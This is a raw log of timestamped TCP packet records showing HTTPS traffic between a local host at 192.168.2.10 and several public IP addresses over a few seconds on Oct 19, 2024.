Oct 19, 2024 00:14:15.909040928 CEST	443	49934	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.909111023 CEST	49934	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.914575100 CEST	49934	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.914598942 CEST	443	49934	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.587647915 CEST	443	49930	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.588586092 CEST	49930	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.588637114 CEST	443	49930	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.589354038 CEST	49930	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.589369059 CEST	443	49930	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.603393078 CEST	443	49933	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.605354071 CEST	49933	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.605375051 CEST	443	49933	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.611953020 CEST	443	49932	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.620342970 CEST	443	49931	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.650161982 CEST	49933	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.650180101 CEST	443	49933	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.650791883 CEST	49932	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.650842905 CEST	443	49932	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.651856899 CEST	49932	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.651879072 CEST	443	49932	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.652259111 CEST	49931	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.652296066 CEST	443	49931	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.652812958 CEST	49931	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.652820110 CEST	443	49931	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.653707027 CEST	443	49934	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.654177904 CEST	49934	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.654201031 CEST	443	49934	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.654779911 CEST	49934	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.654787064 CEST	443	49934	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.722990990 CEST	443	49930	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.723076105 CEST	443	49930	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.723191023 CEST	49930	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.779031992 CEST	443	49933	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.779119015 CEST	443	49933	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.779150009 CEST	443	49932	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.779170036 CEST	443	49933	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.779172897 CEST	443	49932	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.779206038 CEST	49933	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.779249907 CEST	443	49932	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.779256105 CEST	49933	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.779284000 CEST	49932	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.779301882 CEST	49932	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.782241106 CEST	443	49931	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.782288074 CEST	443	49931	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.782345057 CEST	49931	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.782347918 CEST	443	49931	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.782385111 CEST	49931	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.784935951 CEST	443	49934	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.785191059 CEST	443	49934	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.785264015 CEST	49934	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.817109108 CEST	49931	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.817152977 CEST	443	49931	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.817168951 CEST	49931	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.817178011 CEST	49934	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.817179918 CEST	443	49931	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.817194939 CEST	443	49934	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.819750071 CEST	49930	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.819781065 CEST	443	49930	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.819793940 CEST	49930	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.819801092 CEST	443	49930	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.820498943 CEST	49933	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.820508957 CEST	443	49933	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.820517063 CEST	49933	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.820523024 CEST	443	49933	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.820647001 CEST	49932	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.820672035 CEST	443	49932	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.820734978 CEST	49932	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.820740938 CEST	443	49932	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.823515892 CEST	49935	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.823544025 CEST	443	49935	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.823611975 CEST	49935	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.832066059 CEST	49936	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.832103968 CEST	443	49936	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.832293987 CEST	49936	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.832453966 CEST	49936	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.832465887 CEST	443	49936	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.833879948 CEST	49937	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.833930969 CEST	443	49937	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.834033012 CEST	49937	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.834424973 CEST	49935	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.834459066 CEST	443	49935	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.835944891 CEST	49938	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.835956097 CEST	443	49938	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.836025953 CEST	49938	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.836131096 CEST	49937	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.836146116 CEST	443	49937	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.836211920 CEST	49938	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.836226940 CEST	443	49938	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.837887049 CEST	49939	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.837903023 CEST	443	49939	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.837997913 CEST	49939	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.838670015 CEST	49939	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:16.838682890 CEST	443	49939	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:16.902839899 CEST	443	49927	217.160.0.215	192.168.2.10
Oct 19, 2024 00:14:16.903131008 CEST	49927	443	192.168.2.10	217.160.0.215
Oct 19, 2024 00:14:16.903160095 CEST	443	49927	217.160.0.215	192.168.2.10
Oct 19, 2024 00:14:16.904916048 CEST	443	49927	217.160.0.215	192.168.2.10
Oct 19, 2024 00:14:16.904993057 CEST	49927	443	192.168.2.10	217.160.0.215
Oct 19, 2024 00:14:16.906907082 CEST	49927	443	192.168.2.10	217.160.0.215
Oct 19, 2024 00:14:16.907027960 CEST	443	49927	217.160.0.215	192.168.2.10
Oct 19, 2024 00:14:16.907289982 CEST	49927	443	192.168.2.10	217.160.0.215
Oct 19, 2024 00:14:16.907299995 CEST	443	49927	217.160.0.215	192.168.2.10
Oct 19, 2024 00:14:16.979866028 CEST	49927	443	192.168.2.10	217.160.0.215
Oct 19, 2024 00:14:17.191589117 CEST	443	49927	217.160.0.215	192.168.2.10
Oct 19, 2024 00:14:17.192023993 CEST	49927	443	192.168.2.10	217.160.0.215
Oct 19, 2024 00:14:17.192059040 CEST	443	49927	217.160.0.215	192.168.2.10
Oct 19, 2024 00:14:17.192118883 CEST	49927	443	192.168.2.10	217.160.0.215
Oct 19, 2024 00:14:17.357791901 CEST	49940	443	192.168.2.10	18.185.206.162
Oct 19, 2024 00:14:17.357845068 CEST	443	49940	18.185.206.162	192.168.2.10
Oct 19, 2024 00:14:17.357930899 CEST	49940	443	192.168.2.10	18.185.206.162
Oct 19, 2024 00:14:17.358154058 CEST	49940	443	192.168.2.10	18.185.206.162
Oct 19, 2024 00:14:17.358167887 CEST	443	49940	18.185.206.162	192.168.2.10
Oct 19, 2024 00:14:17.572607994 CEST	443	49939	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.573484898 CEST	49939	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.573504925 CEST	443	49939	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.573954105 CEST	49939	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.573968887 CEST	443	49939	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.577836037 CEST	443	49935	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.578423023 CEST	49935	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.578459978 CEST	443	49935	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.578850985 CEST	49935	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.578869104 CEST	443	49935	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.579346895 CEST	443	49938	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.579793930 CEST	49938	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.579816103 CEST	443	49938	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.580044031 CEST	49938	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.580054998 CEST	443	49938	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.582168102 CEST	443	49937	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.582488060 CEST	49937	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.582504988 CEST	443	49937	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.582840919 CEST	49937	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.582848072 CEST	443	49937	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.586246967 CEST	443	49936	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.589507103 CEST	49936	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.589525938 CEST	443	49936	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.590389967 CEST	49936	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.590405941 CEST	443	49936	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.702538967 CEST	443	49939	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.702835083 CEST	443	49939	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.702881098 CEST	443	49939	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.702917099 CEST	49939	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.702960014 CEST	49939	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.703007936 CEST	49939	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.703032017 CEST	443	49939	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.707118988 CEST	49941	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.707165003 CEST	443	49941	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.707257032 CEST	49941	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.707473040 CEST	49941	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.707484007 CEST	443	49941	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.711078882 CEST	443	49935	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.711107016 CEST	443	49935	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.711154938 CEST	443	49935	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.711152077 CEST	443	49937	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.711179972 CEST	49935	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.711208105 CEST	443	49937	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.711235046 CEST	49935	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.711302042 CEST	49937	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.711316109 CEST	443	49937	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.711339951 CEST	443	49937	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.711405993 CEST	49937	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.711405993 CEST	49937	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.711431980 CEST	49937	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.711448908 CEST	443	49937	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.711543083 CEST	49935	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.711565971 CEST	443	49935	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.711575985 CEST	49935	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.711581945 CEST	443	49935	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.712017059 CEST	443	49938	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.712342024 CEST	443	49938	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.712382078 CEST	443	49938	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.712441921 CEST	49938	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.712441921 CEST	49938	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.713149071 CEST	49938	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.713149071 CEST	49938	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.713156939 CEST	443	49938	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.713167906 CEST	443	49938	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.716603041 CEST	49942	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.716613054 CEST	443	49942	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.716804028 CEST	49942	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.717319965 CEST	49943	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.717363119 CEST	443	49943	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.717391968 CEST	49944	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.717423916 CEST	49943	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.717431068 CEST	443	49944	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.717463017 CEST	49942	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.717469931 CEST	443	49942	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.717509985 CEST	49944	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.717603922 CEST	49943	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.717618942 CEST	443	49943	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.717622042 CEST	49944	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.717638969 CEST	443	49944	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.720220089 CEST	443	49936	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.720280886 CEST	443	49936	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.720356941 CEST	49936	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.720479012 CEST	49936	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.720501900 CEST	443	49936	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.722528934 CEST	49945	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.722551107 CEST	443	49945	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:17.722693920 CEST	49945	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.722824097 CEST	49945	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:17.722835064 CEST	443	49945	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.458878994 CEST	443	49945	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.459538937 CEST	49945	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.459561110 CEST	443	49945	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.460021019 CEST	49945	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.460026979 CEST	443	49945	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.461194992 CEST	443	49941	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.461533070 CEST	443	49942	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.461533070 CEST	49941	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.461561918 CEST	443	49941	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.461658001 CEST	443	49940	18.185.206.162	192.168.2.10
Oct 19, 2024 00:14:18.461889982 CEST	49940	443	192.168.2.10	18.185.206.162
Oct 19, 2024 00:14:18.461905003 CEST	443	49940	18.185.206.162	192.168.2.10
Oct 19, 2024 00:14:18.461940050 CEST	49941	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.461947918 CEST	443	49941	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.462210894 CEST	49942	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.462225914 CEST	443	49942	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.462563038 CEST	49942	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.462570906 CEST	443	49942	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.463274956 CEST	443	49940	18.185.206.162	192.168.2.10
Oct 19, 2024 00:14:18.463407993 CEST	49940	443	192.168.2.10	18.185.206.162
Oct 19, 2024 00:14:18.464759111 CEST	49940	443	192.168.2.10	18.185.206.162
Oct 19, 2024 00:14:18.464823961 CEST	443	49940	18.185.206.162	192.168.2.10
Oct 19, 2024 00:14:18.465014935 CEST	49940	443	192.168.2.10	18.185.206.162
Oct 19, 2024 00:14:18.472310066 CEST	443	49943	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.472754955 CEST	49943	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.472774982 CEST	443	49943	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.473295927 CEST	49943	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.473301888 CEST	443	49943	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.477598906 CEST	443	49944	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.478020906 CEST	49944	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.478044033 CEST	443	49944	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.478424072 CEST	49944	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.478429079 CEST	443	49944	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.507407904 CEST	443	49940	18.185.206.162	192.168.2.10
Oct 19, 2024 00:14:18.512804031 CEST	49940	443	192.168.2.10	18.185.206.162
Oct 19, 2024 00:14:18.512821913 CEST	443	49940	18.185.206.162	192.168.2.10
Oct 19, 2024 00:14:18.559356928 CEST	49940	443	192.168.2.10	18.185.206.162
Oct 19, 2024 00:14:18.592494965 CEST	443	49945	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.592566013 CEST	443	49945	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.592629910 CEST	49945	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.592952013 CEST	49945	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.592968941 CEST	443	49945	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.592978954 CEST	49945	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.592987061 CEST	443	49945	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.595657110 CEST	443	49941	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.595659971 CEST	443	49942	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.595747948 CEST	443	49942	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.595748901 CEST	443	49941	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.595803022 CEST	49941	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.595901012 CEST	49942	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.595997095 CEST	49941	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.595997095 CEST	49941	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.596014023 CEST	443	49941	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.596024990 CEST	443	49941	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.596543074 CEST	49947	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.596585035 CEST	443	49947	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.596805096 CEST	49947	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.596981049 CEST	49947	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.596992970 CEST	443	49947	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.597109079 CEST	49942	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.597126007 CEST	443	49942	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.597135067 CEST	49942	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.597141027 CEST	443	49942	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.598855972 CEST	49948	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.598886013 CEST	443	49948	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.598951101 CEST	49948	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.599126101 CEST	49948	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.599140882 CEST	443	49948	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.599581957 CEST	49949	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.599620104 CEST	443	49949	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.599679947 CEST	49949	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.599791050 CEST	49949	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.599805117 CEST	443	49949	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.608884096 CEST	443	49943	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.608938932 CEST	443	49943	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.608997107 CEST	443	49943	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.609036922 CEST	49943	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.609036922 CEST	49943	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.609236002 CEST	49943	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.609236002 CEST	49943	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.609255075 CEST	443	49943	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.609266043 CEST	443	49943	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.611527920 CEST	49950	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.611562014 CEST	443	49950	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.611624956 CEST	49950	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.611783028 CEST	49950	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.611797094 CEST	443	49950	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.613648891 CEST	443	49944	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.613816023 CEST	443	49944	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.613874912 CEST	49944	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.613919020 CEST	49944	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.613939047 CEST	443	49944	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.613951921 CEST	49944	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.613957882 CEST	443	49944	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.616327047 CEST	49951	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.616362095 CEST	443	49951	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.616466045 CEST	49951	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.616609097 CEST	49951	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:18.616626024 CEST	443	49951	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:18.915688038 CEST	443	49940	18.185.206.162	192.168.2.10
Oct 19, 2024 00:14:18.915958881 CEST	443	49940	18.185.206.162	192.168.2.10
Oct 19, 2024 00:14:18.916004896 CEST	49940	443	192.168.2.10	18.185.206.162
Oct 19, 2024 00:14:18.916518927 CEST	49940	443	192.168.2.10	18.185.206.162
Oct 19, 2024 00:14:18.916552067 CEST	443	49940	18.185.206.162	192.168.2.10
Oct 19, 2024 00:14:18.938088894 CEST	49952	443	192.168.2.10	104.21.85.152
Oct 19, 2024 00:14:18.938123941 CEST	443	49952	104.21.85.152	192.168.2.10
Oct 19, 2024 00:14:18.938178062 CEST	49952	443	192.168.2.10	104.21.85.152
Oct 19, 2024 00:14:18.938559055 CEST	49952	443	192.168.2.10	104.21.85.152
Oct 19, 2024 00:14:18.938569069 CEST	443	49952	104.21.85.152	192.168.2.10
Oct 19, 2024 00:14:19.332541943 CEST	443	49948	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.333472013 CEST	49948	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.333496094 CEST	443	49948	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.333692074 CEST	443	49950	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.333950996 CEST	49948	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.333956957 CEST	443	49948	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.334045887 CEST	49950	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.334084034 CEST	443	49950	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.334391117 CEST	49950	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.334397078 CEST	443	49950	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.351203918 CEST	443	49947	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.351645947 CEST	49947	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.351690054 CEST	443	49947	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.352108955 CEST	49947	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.352114916 CEST	443	49947	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.360407114 CEST	443	49949	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.360853910 CEST	49949	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.360876083 CEST	443	49949	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.361285925 CEST	49949	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.361296892 CEST	443	49949	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.368997097 CEST	443	49951	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:19.369384050 CEST	49951	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:19.369402885 CEST	443	49951	13.107.246.45	192.168.2.10
